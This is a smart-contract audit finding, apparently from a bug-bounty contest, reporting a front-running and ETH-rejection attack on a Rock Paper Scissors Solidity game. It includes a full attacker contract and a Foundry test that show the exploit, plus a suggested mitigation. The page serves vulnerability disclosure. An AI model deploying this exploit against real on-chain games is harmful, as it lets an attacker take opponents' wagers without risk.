Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: medium
Valid

By front-running the opponent using the same `commitHash` and revealing `move` and `salt` through an attacker contract that prevents `_handleTie` from executing, the attacker can ensure they never lose.

Description: An attacker can deploy a contract with a toggle to reject incoming ETH.
They use this contract to create or join a game, then front-run the opponent by committing the same hash.
When both players reveal the same move and salt in a one-turn game,
the opponent's reveal will revert due to _handleTie attempting to send ETH back to the attacker’s contract, which rejects it.
The attacker then waits for the reveal timeout, toggles ETH acceptance back on, and calls timeoutReveal to claim victory.

Impact: This allows the attacker to win without any risk, as they can always ensure a win or a tie (if opponent won't reveal) and prevent the opponent from winning.

Proof of Concept: write an attacker contract as following

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {RockPaperScissors} from "../../src/RockPaperScissors.sol";
contract RockPaperScissorsAttacker is Ownable {
RockPaperScissors public game;
bool public receive_blocker = true;
constructor(RockPaperScissors _game) Ownable(msg.sender) {
game = _game;
}
receive() external payable {
if(receive_blocker){
revert();
}
}
function setReceiveBlocker(bool _block) external onlyOwner {
receive_blocker = _block;
}
function withdraw() external onlyOwner {
uint256 balance = address(this).balance;
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Transfer failed.");
}
// game functions
function createGame(uint256 betAmount, uint256 time_interval) external {
// Create a new game with the specified bet amount
game.createGameWithEth{value: betAmount}(1, time_interval);
}
function joinGame(uint256 gameId, uint256 betAmount) external {
// Join the game with the specified bet amount
game.joinGameWithEth{value: betAmount}(gameId);
}
function commitMove(uint256 gameId, bytes32 commit) external {
// Commit a move to the game
game.commitMove(gameId, commit);
}
function revealMove(uint256 gameId, uint8 move, bytes32 salt) external {
// Reveal a move in the game
game.revealMove(gameId, move, salt);
}
function claimWin(uint256 gameId) external {
// Claim the win for the game
game.timeoutReveal(gameId);
}
}

add the following test and run it

function testAuditNeverLose() public {
uint256 betAmount = 1 ether;
uint256 timeInterval = 1 days;
uint256 attackerBalanceBefore = attacker.balance;
vm.prank(playerA);
uint256 gameId = game.createGameWithEth{value: betAmount}(1, timeInterval);
// attacker setup attacker contract
vm.startPrank(attacker);
RockPaperScissorsAttacker attackerContract = new RockPaperScissorsAttacker(game);
vm.deal(address(attackerContract), betAmount);
attackerContract.joinGame(gameId, betAmount);
vm.stopPrank();
// Front-Running duplicate the commission hash and run it in the attacker contract
bytes32 commitA = keccak256(abi.encodePacked(RockPaperScissors.Move.Rock, saltA));
vm.prank(attacker);
attackerContract.commitMove(gameId, commitA);
vm.prank(playerA);
game.commitMove(gameId, commitA);
// Front-Running duplicate the reveal the move, since if playerA reveal the same move,
// the game will be a draw and send back ETH to both players,
// but the attacker contract will not be able to receive ETH and causing revert on the player's reveal transaction
// so the player cannot reveal the move, and the attacker contract can claim the win after timeout
vm.prank(attacker);
attackerContract.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);
vm.prank(playerA);
vm.expectRevert();
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);
// wait for the game to timeout, then the attacker contract can claim the win
(,,,,uint256 revealDeadline,,,,,,,,,,,) = game.games(gameId);
vm.warp(block.timestamp + revealDeadline + 1 seconds);
vm.startPrank(attacker);
attackerContract.setReceiveBlocker(false);
attackerContract.claimWin(gameId);
attackerContract.withdraw();
vm.stopPrank();
assertEq(attacker.balance, attackerBalanceBefore + betAmount * 2 - betAmount * 2 / 10); // attacker won
}

Recommended Mitigation:
Decouple the ETH withdrawal logic from the game flow, allowing players to withdraw their ETH only after the game has concluded.

Updates

Appeal created

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of Salt Uniqueness Enforcement

The contract does not enforce salt uniqueness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.